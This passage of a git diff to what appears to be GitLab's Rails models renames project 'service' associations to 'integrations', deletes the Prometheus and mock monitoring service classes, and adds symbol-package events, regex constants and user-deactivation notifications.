- Gitlab::ObjectHierarchy.new(ancestors_base, options: { use_distinct: Feature.enabled?(:use_distinct_in_object_hierarchy, self) })
+ Gitlab::ObjectHierarchy.new(ancestors_base)
end
end
end
diff --git a/app/models/note.rb b/app/models/note.rb
index d1a59394ba1..ed341e58436 100644
--- a/app/models/note.rb
+++ b/app/models/note.rb
@@ -500,6 +500,13 @@ class Note < ApplicationRecord
refs
end
+ def bump_updated_at
+ # Instead of calling touch which is throttled via ThrottledTouch concern,
+ # we bump the updated_at column directly. This also prevents executing
+ # after_commit callbacks that we don't need.
+ update_column(:updated_at, Time.current)
+ end
+
def expire_etag_cache
noteable&.expire_note_etag_cache
end
diff --git a/app/models/operations/feature_flag.rb b/app/models/operations/feature_flag.rb
index 8b052f80395..450a5970ad8 100644
--- a/app/models/operations/feature_flag.rb
+++ b/app/models/operations/feature_flag.rb
@@ -80,7 +80,7 @@ module Operations
end
def link_reference_pattern
- @link_reference_pattern ||= super("feature_flags", /(?<feature_flag>\d+)\/edit/)
+ @link_reference_pattern ||= super("feature_flags", %r{(?<feature_flag>\d+)/edit})
end
def reference_postfix
diff --git a/app/models/packages/debian.rb b/app/models/packages/debian.rb
index f7f7f9f95e9..e20f1b8244a 100644
--- a/app/models/packages/debian.rb
+++ b/app/models/packages/debian.rb
@@ -2,6 +2,10 @@
module Packages
module Debian
+ DISTRIBUTION_REGEX = %r{[a-z0-9][a-z0-9.-]*}i.freeze
+ COMPONENT_REGEX = DISTRIBUTION_REGEX.freeze
+ ARCHITECTURE_REGEX = %r{[a-z0-9][-a-z0-9]*}.freeze
+
def self.table_name_prefix
'packages_debian_'
end
diff --git a/app/models/packages/event.rb b/app/models/packages/event.rb
index 98c9d5246db..a1eb7120117 100644
--- a/app/models/packages/event.rb
+++ b/app/models/packages/event.rb
@@ -3,7 +3,7 @@
class Packages::Event < ApplicationRecord
belongs_to :package, optional: true
- UNIQUE_EVENTS_ALLOWED = %i[push_package delete_package pull_package].freeze
+ UNIQUE_EVENTS_ALLOWED = %i[push_package delete_package pull_package pull_symbol_package push_symbol_package].freeze
EVENT_SCOPES = ::Packages::Package.package_types.merge(container: 1000, tag: 1001).freeze
EVENT_PREFIX = "i_package"
@@ -21,7 +21,9 @@ class Packages::Event < ApplicationRecord
delete_tag: 7,
delete_tag_bulk: 8,
list_tags: 9,
- cli_metadata: 10
+ cli_metadata: 10,
+ pull_symbol_package: 11,
+ push_symbol_package: 12
}
enum originator_type: { user: 0, deploy_token: 1, guest: 2 }
diff --git a/app/models/packages/go/module.rb b/app/models/packages/go/module.rb
index 00d51c21881..a029437c82d 100644
--- a/app/models/packages/go/module.rb
+++ b/app/models/packages/go/module.rb
@@ -33,7 +33,7 @@ module Packages
end
def path_valid?(major)
- m = /\/v(\d+)$/i.match(@name)
+ m = %r{/v(\d+)$}i.match(@name)
case major
when 0, 1
diff --git a/app/models/packages/helm.rb b/app/models/packages/helm.rb
index e021b997bf5..b34ccf907dd 100644
--- a/app/models/packages/helm.rb
+++ b/app/models/packages/helm.rb
@@ -2,6 +2,8 @@
module Packages
module Helm
+ TEMPORARY_PACKAGE_NAME = 'Helm.Temporary.Package'
+
def self.table_name_prefix
'packages_helm_'
end
diff --git a/app/models/packages/nuget.rb b/app/models/packages/nuget.rb
index f152eedb8fc..6bedd488c8a 100644
--- a/app/models/packages/nuget.rb
+++ b/app/models/packages/nuget.rb
@@ -2,6 +2,7 @@
module Packages
module Nuget
TEMPORARY_PACKAGE_NAME = 'NuGet.Temporary.Package'
+ TEMPORARY_SYMBOL_PACKAGE_NAME = 'NuGet.Temporary.SymbolPackage'
def self.table_name_prefix
'packages_nuget_'
diff --git a/app/models/packages/package.rb b/app/models/packages/package.rb
index b040c98ef09..d2e4f46898c 100644
--- a/app/models/packages/package.rb
+++ b/app/models/packages/package.rb
@@ -158,8 +158,6 @@ class Packages::Package < ApplicationRecord
joins(:project).reorder(keyset_order)
end
- after_commit :update_composer_cache, on: :destroy, if: -> { composer? && Feature.disabled?(:disable_composer_callback) }
-
def self.only_maven_packages_with_path(path, use_cte: false)
if use_cte
# This is an optimization fence which assumes that looking up the Metadatum record by path (globally)
@@ -295,12 +293,6 @@ class Packages::Package < ApplicationRecord
private
- def update_composer_cache
- return unless composer?
-
- ::Packages::Composer::CacheUpdateWorker.perform_async(project_id, name, composer_metadatum.version_cache_sha) # rubocop:disable CodeReuse/Worker
- end
-
def composer_tag_version?
composer? && !Gitlab::Regex.composer_dev_version_regex.match(version.to_s)
end
diff --git a/app/models/packages/package_file.rb b/app/models/packages/package_file.rb
index 3ef30c035e8..799242a639a 100644
--- a/app/models/packages/package_file.rb
+++ b/app/models/packages/package_file.rb
@@ -27,10 +27,12 @@ class Packages::PackageFile < ApplicationRecord
validates :file_name, uniqueness: { scope: :package }, if: -> { package&.pypi? }
scope :recent, -> { order(id: :desc) }
+ scope :limit_recent, ->(limit) { recent.limit(limit) }
scope :for_package_ids, ->(ids) { where(package_id: ids) }
scope :with_file_name, ->(file_name) { where(file_name: file_name) }
scope :with_file_name_like, ->(file_name) { where(arel_table[:file_name].matches(file_name)) }
scope :with_files_stored_locally, -> { where(file_store: ::Packages::PackageFileUploader::Store::LOCAL) }
+ scope :with_format, ->(format) { where(::Packages::PackageFile.arel_table[:file_name].matches("%.#{format}")) }
scope :preload_conan_file_metadata, -> { preload(:conan_file_metadatum) }
scope :preload_debian_file_metadata, -> { preload(:debian_file_metadatum) }
scope :preload_helm_file_metadata, -> { preload(:helm_file_metadatum) }
diff --git a/app/models/plan.rb b/app/models/plan.rb
index f3ef04315f8..e16ecb4c629 100644
--- a/app/models/plan.rb
+++ b/app/models/plan.rb
@@ -14,7 +14,7 @@ class Plan < ApplicationRecord
Gitlab::SafeRequestStore.fetch(:plan_default) do
# find_by allows us to find object (cheaply) against replica DB
# safe_find_or_create_by does stick to primary DB
- find_by(name: DEFAULT) || safe_find_or_create_by(name: DEFAULT)
+ find_by(name: DEFAULT) || safe_find_or_create_by(name: DEFAULT) { |plan| plan.title = DEFAULT.titleize }
end
end
diff --git a/app/models/plan_limits.rb b/app/models/plan_limits.rb
index f17078c0cab..bf08da6a1e1 100644
--- a/app/models/plan_limits.rb
+++ b/app/models/plan_limits.rb
@@ -1,6 +1,10 @@
# frozen_string_literal: true
class PlanLimits < ApplicationRecord
+ include IgnorableColumns
+
+ ignore_column :ci_max_artifact_size_running_container_scanning, remove_with: '14.3', remove_after: '2021-08-22'
+
LimitUndefinedError = Class.new(StandardError)
belongs_to :plan
diff --git a/app/models/project.rb b/app/models/project.rb
index 95ba0973321..9e6e29aadda 100644
--- a/app/models/project.rb
+++ b/app/models/project.rb
@@ -147,11 +147,7 @@ class Project < ApplicationRecord
has_many :boards
def self.integration_association_name(name)
- if ::Integration.renamed?(name)
- "#{name}_integration"
- else
- "#{name}_service"
- end
+ "#{name}_integration"
end
# Project integrations
@@ -172,25 +168,25 @@ class Project < ApplicationRecord
has_one :flowdock_integration, class_name: 'Integrations::Flowdock'
has_one :hangouts_chat_integration, class_name: 'Integrations::HangoutsChat'
has_one :irker_integration, class_name: 'Integrations::Irker'
- has_one :jenkins_service, class_name: 'Integrations::Jenkins'
- has_one :jira_service, class_name: 'Integrations::Jira'
- has_one :mattermost_service, class_name: 'Integrations::Mattermost'
- has_one :mattermost_slash_commands_service, class_name: 'Integrations::MattermostSlashCommands'
- has_one :microsoft_teams_service, class_name: 'Integrations::MicrosoftTeams'
- has_one :mock_ci_service, class_name: 'Integrations::MockCi'
- has_one :packagist_service, class_name: 'Integrations::Packagist'
- has_one :pipelines_email_service, class_name: 'Integrations::PipelinesEmail'
- has_one :pivotaltracker_service, class_name: 'Integrations::Pivotaltracker'
- has_one :pushover_service, class_name: 'Integrations::Pushover'
- has_one :redmine_service, class_name: 'Integrations::Redmine'
- has_one :slack_service, class_name: 'Integrations::Slack'
- has_one :slack_slash_commands_service, class_name: 'Integrations::SlackSlashCommands'
- has_one :teamcity_service, class_name: 'Integrations::Teamcity'
- has_one :unify_circuit_service, class_name: 'Integrations::UnifyCircuit'
- has_one :webex_teams_service, class_name: 'Integrations::WebexTeams'
- has_one :youtrack_service, class_name: 'Integrations::Youtrack'
- has_one :prometheus_service, inverse_of: :project
- has_one :mock_monitoring_service
+ has_one :jenkins_integration, class_name: 'Integrations::Jenkins'
+ has_one :jira_integration, class_name: 'Integrations::Jira'
+ has_one :mattermost_integration, class_name: 'Integrations::Mattermost'
+ has_one :mattermost_slash_commands_integration, class_name: 'Integrations::MattermostSlashCommands'
+ has_one :microsoft_teams_integration, class_name: 'Integrations::MicrosoftTeams'
+ has_one :mock_ci_integration, class_name: 'Integrations::MockCi'
+ has_one :mock_monitoring_integration, class_name: 'Integrations::MockMonitoring'
+ has_one :packagist_integration, class_name: 'Integrations::Packagist'
+ has_one :pipelines_email_integration, class_name: 'Integrations::PipelinesEmail'
+ has_one :pivotaltracker_integration, class_name: 'Integrations::Pivotaltracker'
+ has_one :prometheus_integration, class_name: 'Integrations::Prometheus', inverse_of: :project
+ has_one :pushover_integration, class_name: 'Integrations::Pushover'
+ has_one :redmine_integration, class_name: 'Integrations::Redmine'
+ has_one :slack_integration, class_name: 'Integrations::Slack'
+ has_one :slack_slash_commands_integration, class_name: 'Integrations::SlackSlashCommands'
+ has_one :teamcity_integration, class_name: 'Integrations::Teamcity'
+ has_one :unify_circuit_integration, class_name: 'Integrations::UnifyCircuit'
+ has_one :webex_teams_integration, class_name: 'Integrations::WebexTeams'
+ has_one :youtrack_integration, class_name: 'Integrations::Youtrack'
has_one :root_of_fork_network,
foreign_key: 'root_project_id',
@@ -381,6 +377,8 @@ class Project < ApplicationRecord
has_one :operations_feature_flags_client, class_name: 'Operations::FeatureFlagsClient'
has_many :operations_feature_flags_user_lists, class_name: 'Operations::FeatureFlags::UserList'
+ has_many :error_tracking_errors, inverse_of: :project, class_name: 'ErrorTracking::Error'
+
has_many :timelogs
accepts_nested_attributes_for :variables, allow_destroy: true
@@ -400,7 +398,7 @@ class Project < ApplicationRecord
accepts_nested_attributes_for :error_tracking_setting, update_only: true
accepts_nested_attributes_for :metrics_setting, update_only: true, allow_destroy: true
accepts_nested_attributes_for :grafana_integration, update_only: true, allow_destroy: true
- accepts_nested_attributes_for :prometheus_service, update_only: true
+ accepts_nested_attributes_for :prometheus_integration, update_only: true
accepts_nested_attributes_for :alerting_setting, update_only: true
delegate :feature_available?, :builds_enabled?, :wiki_enabled?,
@@ -410,36 +408,37 @@ class Project < ApplicationRecord
:wiki_access_level, :snippets_access_level, :builds_access_level,
:repository_access_level, :pages_access_level, :metrics_dashboard_access_level, :analytics_access_level,
:operations_enabled?, :operations_access_level, :security_and_compliance_access_level,
- :container_registry_access_level,
+ :container_registry_access_level, :container_registry_enabled?,
to: :project_feature, allow_nil: true
+ alias_method :container_registry_enabled, :container_registry_enabled?
delegate :show_default_award_emojis, :show_default_award_emojis=,
:show_default_award_emojis?,
to: :project_setting, allow_nil: true
delegate :scheduled?, :started?, :in_progress?, :failed?, :finished?,
prefix: :import, to: :import_state, allow_nil: true
delegate :squash_always?, :squash_never?, :squash_enabled_by_default?, :squash_readonly?, to: :project_setting
- delegate :squash_option, to: :project_setting
+ delegate :squash_option, :squash_option=, to: :project_setting
+ delegate :previous_default_branch, :previous_default_branch=, to: :project_setting
delegate :no_import?, to: :import_state, allow_nil: true
delegate :name, to: :owner, allow_nil: true, prefix: true
delegate :members, to: :team, prefix: true
delegate :add_user, :add_users, to: :team
delegate :add_guest, :add_reporter, :add_developer, :add_maintainer, :add_role, to: :team
- delegate :group_runners_enabled, :group_runners_enabled=, :group_runners_enabled?, to: :ci_cd_settings
+ delegate :group_runners_enabled, :group_runners_enabled=, to: :ci_cd_settings, allow_nil: true
delegate :root_ancestor, to: :namespace, allow_nil: true
delegate :last_pipeline, to: :commit, allow_nil: true
delegate :external_dashboard_url, to: :metrics_setting, allow_nil: true, prefix: true
delegate :dashboard_timezone, to: :metrics_setting, allow_nil: true, prefix: true
delegate :default_git_depth, :default_git_depth=, to: :ci_cd_settings, prefix: :ci, allow_nil: true
- delegate :forward_deployment_enabled, :forward_deployment_enabled=, :forward_deployment_enabled?, to: :ci_cd_settings, prefix: :ci, allow_nil: true
- delegate :job_token_scope_enabled, :job_token_scope_enabled=, :job_token_scope_enabled?, to: :ci_cd_settings, prefix: :ci
- delegate :keep_latest_artifact, :keep_latest_artifact=, :keep_latest_artifact?, :keep_latest_artifacts_available?, to: :ci_cd_settings, allow_nil: true
- delegate :restrict_user_defined_variables, :restrict_user_defined_variables=, :restrict_user_defined_variables?,
- to: :ci_cd_settings, allow_nil: true
+ delegate :forward_deployment_enabled, :forward_deployment_enabled=, to: :ci_cd_settings, prefix: :ci, allow_nil: true
+ delegate :job_token_scope_enabled, :job_token_scope_enabled=, to: :ci_cd_settings, prefix: :ci, allow_nil: true
+ delegate :keep_latest_artifact, :keep_latest_artifact=, to: :ci_cd_settings, allow_nil: true
+ delegate :restrict_user_defined_variables, :restrict_user_defined_variables=, to: :ci_cd_settings, allow_nil: true
delegate :actual_limits, :actual_plan_name, to: :namespace, allow_nil: true
delegate :allow_merge_on_skipped_pipeline, :allow_merge_on_skipped_pipeline?,
:allow_merge_on_skipped_pipeline=, :has_confluence?, :allow_editing_commit_messages?,
to: :project_setting
- delegate :active?, to: :prometheus_service, allow_nil: true, prefix: true
+ delegate :active?, to: :prometheus_integration, allow_nil: true, prefix: true
delegate :log_jira_dvcs_integration_usage, :jira_dvcs_server_last_sync_at, :jira_dvcs_cloud_last_sync_at, to: :feature_usage
@@ -542,7 +541,7 @@ class Project < ApplicationRecord
scope :for_milestones, ->(ids) { joins(:milestones).where('milestones.id' => ids).distinct }
scope :with_push, -> { joins(:events).merge(Event.pushed_action) }
scope :with_project_feature, -> { joins('LEFT JOIN project_features ON projects.id = project_features.project_id') }
- scope :with_active_jira_services, -> { joins(:integrations).merge(::Integrations::Jira.active) }
+ scope :with_active_jira_integrations, -> { joins(:integrations).merge(::Integrations::Jira.active) }
scope :with_jira_dvcs_cloud, -> { joins(:feature_usage).merge(ProjectFeatureUsage.with_jira_dvcs_integration_enabled(cloud: true)) }
scope :with_jira_dvcs_server, -> { joins(:feature_usage).merge(ProjectFeatureUsage.with_jira_dvcs_integration_enabled(cloud: false)) }
scope :inc_routes, -> { includes(:route, namespace: :route) }
@@ -550,9 +549,8 @@ class Project < ApplicationRecord
scope :with_namespace, -> { includes(:namespace) }
scope :with_import_state, -> { includes(:import_state) }
scope :include_project_feature, -> { includes(:project_feature) }
- scope :with_service, ->(service) { joins(service).eager_load(service) }
+ scope :with_integration, ->(integration) { joins(integration).eager_load(integration) }
scope :with_shared_runners, -> { where(shared_runners_enabled: true) }
- scope :with_container_registry, -> { where(container_registry_enabled: true) }
scope :inside_path, ->(path) do
# We need routes alias rs for JOIN so it does not conflict with
# includes(:route) which we use in ProjectsFinder.
@@ -1398,24 +1396,22 @@ class Project < ApplicationRecord
@external_wiki ||= integrations.external_wikis.first
end
- def find_or_initialize_services
- available_services_names = Integration.available_services_names - disabled_services
-
- available_services_names.map do |service_name|
- find_or_initialize_service(service_name)
- end.sort_by(&:title)
+ def find_or_initialize_integrations
+ Integration
+ .available_integration_names
+ .difference(disabled_integrations)
+ .map { find_or_initialize_integration(_1) }
+ .sort_by(&:title)
end
- def disabled_services
- return %w[datadog] unless Feature.enabled?(:datadog_ci_integration, self)
-
+ def disabled_integrations
[]
end
- def find_or_initialize_service(name)
- return if disabled_services.include?(name)
+ def find_or_initialize_integration(name)
+ return if disabled_integrations.include?(name)
- find_service(integrations, name) || build_from_instance_or_template(name) || build_service(name)
+ find_integration(integrations, name) || build_from_instance_or_template(name) || build_integration(name)
end
# rubocop: disable CodeReuse/ServiceClass
@@ -1428,20 +1424,12 @@ class Project < ApplicationRecord
end
# rubocop: enable CodeReuse/ServiceClass
- def ci_services
+ def ci_integrations
integrations.where(category: :ci)
end
- def ci_service
- @ci_service ||= ci_services.reorder(nil).find_by(active: true)
- end
-
- def monitoring_services
- integrations.where(category: :monitoring)
- end
-
- def monitoring_service
- @monitoring_service ||= monitoring_services.reorder(nil).find_by(active: true)
+ def ci_integration
+ @ci_integration ||= ci_integrations.reorder(nil).find_by(active: true)
end
def avatar_in_git
@@ -1512,7 +1500,7 @@ class Project < ApplicationRecord
end
# rubocop: enable CodeReuse/ServiceClass
- def execute_services(data, hooks_scope = :push_hooks)
+ def execute_integrations(data, hooks_scope = :push_hooks)
# Call only service hooks that are active for this scope
run_after_commit_or_now do
integrations.public_send(hooks_scope).each do |integration| # rubocop:disable GitlabSecurity/PublicSend
@@ -1525,7 +1513,7 @@ class Project < ApplicationRecord
hooks.hooks_for(hooks_scope).any? || SystemHook.hooks_for(hooks_scope).any? || Gitlab::FileHook.any?
end
- def has_active_services?(hooks_scope = :push_hooks)
+ def has_active_integrations?(hooks_scope = :push_hooks)
integrations.public_send(hooks_scope).any? # rubocop:disable GitlabSecurity/PublicSend
end
@@ -2629,14 +2617,41 @@ class Project < ApplicationRecord
!!read_attribute(:merge_requests_author_approval)
end
- def container_registry_enabled
- if Feature.enabled?(:read_container_registry_access_level, self.namespace, default_enabled: :yaml)
- project_feature.container_registry_enabled?
- else
- read_attribute(:container_registry_enabled)
- end
+ def ci_forward_deployment_enabled?
+ return false unless ci_cd_settings
+
+ ci_cd_settings.forward_deployment_enabled?
+ end
+
+ def ci_job_token_scope_enabled?
+ return false unless ci_cd_settings
+
+ ci_cd_settings.job_token_scope_enabled?
+ end
+
+ def restrict_user_defined_variables?
+ return false unless ci_cd_settings
+
+ ci_cd_settings.restrict_user_defined_variables?
+ end
+
+ def keep_latest_artifacts_available?
+ return false unless ci_cd_settings
+
+ ci_cd_settings.keep_latest_artifacts_available?
+ end
+
+ def keep_latest_artifact?
+ return false unless ci_cd_settings
+
+ ci_cd_settings.keep_latest_artifact?
+ end
+
+ def group_runners_enabled?
+ return false unless ci_cd_settings
+
+ ci_cd_settings.group_runners_enabled?
end
- alias_method :container_registry_enabled?, :container_registry_enabled
private
@@ -2654,28 +2669,28 @@ class Project < ApplicationRecord
project_feature.update!(container_registry_access_level: access_level)
end
- def find_service(services, name)
- services.find { |service| service.to_param == name }
+ def find_integration(integrations, name)
+ integrations.find { _1.to_param == name }
end
def build_from_instance_or_template(name)
- instance = find_service(services_instances, name)
+ instance = find_integration(integration_instances, name)
return Integration.build_from_integration(instance, project_id: id) if instance
- template = find_service(services_templates, name)
+ template = find_integration(integration_templates, name)
return Integration.build_from_integration(template, project_id: id) if template
end
- def build_service(name)
+ def build_integration(name)
Integration.integration_name_to_model(name).new(project_id: id)
end
- def services_templates
- @services_templates ||= Integration.for_template
+ def integration_templates
+ @integration_templates ||= Integration.for_template
end
- def services_instances
- @services_instances ||= Integration.for_instance
+ def integration_instances
+ @integration_instances ||= Integration.for_instance
end
def closest_namespace_setting(name)
diff --git a/app/models/project_ci_cd_setting.rb b/app/models/project_ci_cd_setting.rb
index b025326c6f8..c0c2ea42d46 100644
--- a/app/models/project_ci_cd_setting.rb
+++ b/app/models/project_ci_cd_setting.rb
@@ -16,7 +16,6 @@ class ProjectCiCdSetting < ApplicationRecord
allow_nil: true
default_value_for :forward_deployment_enabled, true
- default_value_for :job_token_scope_enabled, true
def forward_deployment_enabled?
super && ::Feature.enabled?(:forward_deployment_enabled, project, default_enabled: true)
diff --git a/app/models/project_services/mock_monitoring_service.rb b/app/models/project_services/mock_monitoring_service.rb
deleted file mode 100644
index 25ae0f6b60d..00000000000
--- a/app/models/project_services/mock_monitoring_service.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class MockMonitoringService < MonitoringService
- def title
- 'Mock monitoring'
- end
-
- def description
- 'Mock monitoring service'
- end
-
- def self.to_param
- 'mock_monitoring'
- end
-
- def metrics(environment)
- Gitlab::Json.parse(File.read(Rails.root + 'spec/fixtures/metrics.json'))
- end
-
- def can_test?
- false
- end
-end
diff --git a/app/models/project_services/monitoring_service.rb b/app/models/project_services/monitoring_service.rb
deleted file mode 100644
index ea65a200027..00000000000
--- a/app/models/project_services/monitoring_service.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-# Base class for monitoring services
-#
-# These services integrate with a deployment solution like Prometheus
-# to provide additional features for environments.
-class MonitoringService < Integration
- default_value_for :category, 'monitoring'
-
- def self.supported_events
- %w()
- end
-
- def can_query?
- raise NotImplementedError
- end
-
- def query(_, *_)
- raise NotImplementedError
- end
-end
diff --git a/app/models/project_services/prometheus_service.rb b/app/models/project_services/prometheus_service.rb
deleted file mode 100644
index a289c1c2afb..00000000000
--- a/app/models/project_services/prometheus_service.rb
+++ /dev/null
@@ -1,203 +0,0 @@
-# frozen_string_literal: true
-
-class PrometheusService < MonitoringService
- include PrometheusAdapter
-
- # Access to prometheus is directly through the API
- prop_accessor :api_url
- prop_accessor :google_iap_service_account_json
- prop_accessor :google_iap_audience_client_id
- boolean_accessor :manual_configuration
-
- # We need to allow the self-monitoring project to connect to the internal
- # Prometheus instance.
- # Since the internal Prometheus instance is usually a localhost URL, we need
- # to allow localhost URLs when the following conditions are true:
- # 1. project is the self-monitoring project.
- # 2. api_url is the internal Prometheus URL.
- with_options presence: true do
- validates :api_url, public_url: true, if: ->(object) { object.manual_configuration? && !object.allow_local_api_url? }
- validates :api_url, url: true, if: ->(object) { object.manual_configuration? && object.allow_local_api_url? }
- end
-
- before_save :synchronize_service_state
-
- after_save :clear_reactive_cache!
-
- after_commit :track_events
-
- after_create_commit :create_default_alerts
-
- scope :preload_project, -> { preload(:project) }
- scope :with_clusters_with_cilium, -> { joins(project: [:clusters]).merge(Clusters::Cluster.with_available_cilium) }
-
- def initialize_properties
- if properties.nil?
- self.properties = {}
- end
- end
-
- def show_active_box?
- false
- end
-
- def title
- 'Prometheus'
- end
-
- def description
- s_('PrometheusService|Monitor application health with Prometheus metrics and dashboards')
- end
-
- def self.to_param
- 'prometheus'
- end
-
- def fields
- [
- {
- type: 'checkbox',
- name: 'manual_configuration',
- title: s_('PrometheusService|Active'),
- help: s_('PrometheusService|Select this checkbox to override the auto configuration settings with your own settings.'),
- required: true
- },
- {
- type: 'text',
- name: 'api_url',
- title: 'API URL',
- placeholder: s_('PrometheusService|https://prometheus.example.com/'),
- help: s_('PrometheusService|The Prometheus API base URL.'),
- required: true
- },
- {
- type: 'text',
- name: 'google_iap_audience_client_id',
- title: 'Google IAP Audience Client ID',
- placeholder: s_('PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com'),
- help: s_('PrometheusService|PrometheusService|The ID of the IAP-secured resource.'),
- autocomplete: 'off',
- required: false
- },
- {
- type: 'textarea',
- name: 'google_iap_service_account_json',
- title: 'Google IAP Service Account JSON',
- placeholder: s_('PrometheusService|{ "type": "service_account", "project_id": ... }'),
- help: s_('PrometheusService|The contents of the credentials.json file of your service account.'),
- required: false
- }
- ]
- end
-
- # Check we can connect to the Prometheus API
- def test(*args)
- prometheus_client.ping
- { success: true, result: 'Checked API endpoint' }
- rescue Gitlab::PrometheusClient::Error => err
- { success: false, result: err }
- end
-
- def prometheus_client
- return unless should_return_client?
-
- options = prometheus_client_default_options.merge(
- allow_local_requests: allow_local_api_url?
- )
-
- if behind_iap?
- # Adds the Authorization header
- options[:headers] = iap_client.apply({})
- end
-
- Gitlab::PrometheusClient.new(api_url, options)
- end
-
- def prometheus_available?
- return false if template?
- return false unless project
-
- project.all_clusters.enabled.eager_load(:integration_prometheus).any? do |cluster|
- cluster.integration_prometheus_available?
- end
- end
-
- def allow_local_api_url?
- allow_local_requests_from_web_hooks_and_services? ||
- (self_monitoring_project? && internal_prometheus_url?)
- end
-
- def configured?
- should_return_client?
- end
-
- private
-
- def self_monitoring_project?
- project && project.id == current_settings.self_monitoring_project_id
- end
-
- def internal_prometheus_url?
- api_url.present? && api_url == ::Gitlab::Prometheus::Internal.uri
- end
-
- def allow_local_requests_from_web_hooks_and_services?
- current_settings.allow_local_requests_from_web_hooks_and_services?
- end
-
- def should_return_client?
- api_url.present? && manual_configuration? && active? && valid?
- end
-
- def current_settings
- Gitlab::CurrentSettings.current_application_settings
- end
-
- def synchronize_service_state
- self.active = prometheus_available? || manual_configuration?
-
- true
- end
-
- def track_events
- if enabled_manual_prometheus?
- Gitlab::Tracking.event('cluster:services:prometheus', 'enabled_manual_prometheus')
- elsif disabled_manual_prometheus?
- Gitlab::Tracking.event('cluster:services:prometheus', 'disabled_manual_prometheus')
- end
-
- true
- end
-
- def enabled_manual_prometheus?
- manual_configuration_changed? && manual_configuration?
- end
-
- def disabled_manual_prometheus?
- manual_configuration_changed? && !manual_configuration?
- end
-
- def create_default_alerts
- return unless project_id
-
- Prometheus::CreateDefaultAlertsWorker.perform_async(project_id)
- end
-
- def behind_iap?
- manual_configuration? && google_iap_audience_client_id.present? && google_iap_service_account_json.present?
- end
-
- def clean_google_iap_service_account
- return unless google_iap_service_account_json
-
- google_iap_service_account_json
- .then { |json| Gitlab::Json.parse(json) }
- .except('token_credential_uri')
- end
-
- def iap_client
- @iap_client ||= Google::Auth::Credentials
- .new(clean_google_iap_service_account, target_audience: google_iap_audience_client_id)
- .client
- end
-end
diff --git a/app/models/project_team.rb b/app/models/project_team.rb
index a85afada901..4586aa2b4b4 100644
--- a/app/models/project_team.rb
+++ b/app/models/project_team.rb
@@ -42,7 +42,7 @@ class ProjectTeam
end
def add_users(users, access_level, current_user: nil, expires_at: nil)
- ProjectMember.add_users(
+ Members::Projects::CreatorService.add_users( # rubocop:todo CodeReuse/ServiceClass
project,
users,
access_level,
@@ -52,13 +52,12 @@ class ProjectTeam
end
def add_user(user, access_level, current_user: nil, expires_at: nil)
- ProjectMember.add_user(
- project,
- user,
- access_level,
- current_user: current_user,
- expires_at: expires_at
- )
+ Members::Projects::CreatorService.new(project, # rubocop:todo CodeReuse/ServiceClass
+ user,
+ access_level,
+ current_user: current_user,
+ expires_at: expires_at)
+ .execute
end
# Remove all users from project team
diff --git a/app/models/repository_language.rb b/app/models/repository_language.rb
index b7a96211fb1..2816aa4cc5b 100644
--- a/app/models/repository_language.rb
+++ b/app/models/repository_language.rb
@@ -8,6 +8,10 @@ class RepositoryLanguage < ApplicationRecord
default_scope { includes(:programming_language) } # rubocop:disable Cop/DefaultScope
+ scope :with_programming_language, ->(name) do
+ joins(:programming_language).merge(ProgrammingLanguage.with_name_case_insensitive(name))
+ end
+
validates :project, presence: true
validates :share, inclusion: { in: 0..100, message: "The share of a language is between 0 and 100" }
validates :programming_language, uniqueness: { scope: :project_id }
diff --git a/app/models/service_desk_setting.rb b/app/models/service_desk_setting.rb
index c5203354b9d..1c854cc9941 100644
--- a/app/models/service_desk_setting.rb
+++ b/app/models/service_desk_setting.rb
@@ -8,7 +8,10 @@ class ServiceDeskSetting < ApplicationRecord
validate :valid_issue_template
validate :valid_project_key
validates :outgoing_name, length: { maximum: 255 }, allow_blank: true
- validates :project_key, length: { maximum: 255 }, allow_blank: true, format: { with: /\A[a-z0-9_]+\z/ }
+ validates :project_key,
+ length: { maximum: 255 },
+ allow_blank: true,
+ format: { with: /\A[a-z0-9_]+\z/, message: -> (setting, data) { _("can contain only lowercase letters, digits, and '_'.") } }
scope :with_project_key, ->(key) { where(project_key: key) }
diff --git a/app/models/timelog.rb b/app/models/timelog.rb
index 96fd485b797..3f0e827cf61 100644
--- a/app/models/timelog.rb
+++ b/app/models/timelog.rb
@@ -6,6 +6,7 @@ class Timelog < ApplicationRecord
before_save :set_project
validates :time_spent, :user, presence: true
+ validates :summary, length: { maximum: 255 }
validate :issuable_id_is_present, unless: :importing?
belongs_to :issue, touch: true
diff --git a/app/models/user.rb b/app/models/user.rb
index ce702131151..80b8c9173d1 100644
--- a/app/models/user.rb
+++ b/app/models/user.rb
@@ -375,6 +375,10 @@ class User < ApplicationRecord
Ci::DropPipelineService.new.execute_async_for_all(user.pipelines, :user_blocked, user)
Ci::DisableUserPipelineSchedulesService.new.execute(user)
end
+
+ after_transition any => :deactivated do |user|
+ NotificationService.new.user_deactivated(user.name, user.notification_email)
+ end
# rubocop: enable CodeReuse/ServiceClass
end
@@ -430,6 +434,7 @@ class User < ApplicationRecord
scope :by_id_and_login, ->(id, login) { where(id: id).where('username = LOWER(:login) OR email = LOWER(:login)', login: login) }
scope :dormant, -> { active.where('last_activity_on <= ?', MINIMUM_INACTIVE_DAYS.day.ago.to_date) }
scope :with_no_activity, -> { active.where(last_activity_on: nil) }
+ scope :by_provider_and_extern_uid, ->(provider, extern_uid) { joins(:identities).merge(Identity.with_extern_uid(provider, extern_uid)) }
def preferred_language
read_attribute('preferred_language') ||
@@ -554,10 +559,6 @@ class User < ApplicationRecord
end
end
- def for_github_id(id)
- joins(:identities).merge(Identity.with_extern_uid(:github, id))
- end
-
# Find a User by their primary email or any associated secondary email
def find_by_any_email(email, confirmed: false)
return unless email
@@ -809,6 +810,10 @@ class User < ApplicationRecord
# Instance methods
#
+ def default_dashboard?
+ dashboard == self.class.column_defaults['dashboard']
+ end
+
def full_path
username
end
@@ -1231,7 +1236,7 @@ class User < ApplicationRecord
end
def matches_identity?(provider, extern_uid)
- identities.where(provider: provider, extern_uid: extern_uid).exists?
+ identities.with_extern_uid(provider, extern_uid).exists?
end
def project_deploy_keys
@@ -1300,6 +1305,10 @@ class User < ApplicationRecord
save if notification_email_changed? || public_email_changed? || commit_email_changed?
end
+ def admin_unsubscribe!
+ update_column :admin_email_unsubscribed_at, Time.current
+ end
+
def set_projects_limit
# `User.select(:id)` raises
# `ActiveModel::MissingAttributeError: missing attribute: projects_limit`
@@ -1882,9 +1891,11 @@ class User < ApplicationRecord
end
def password_expired_if_applicable?
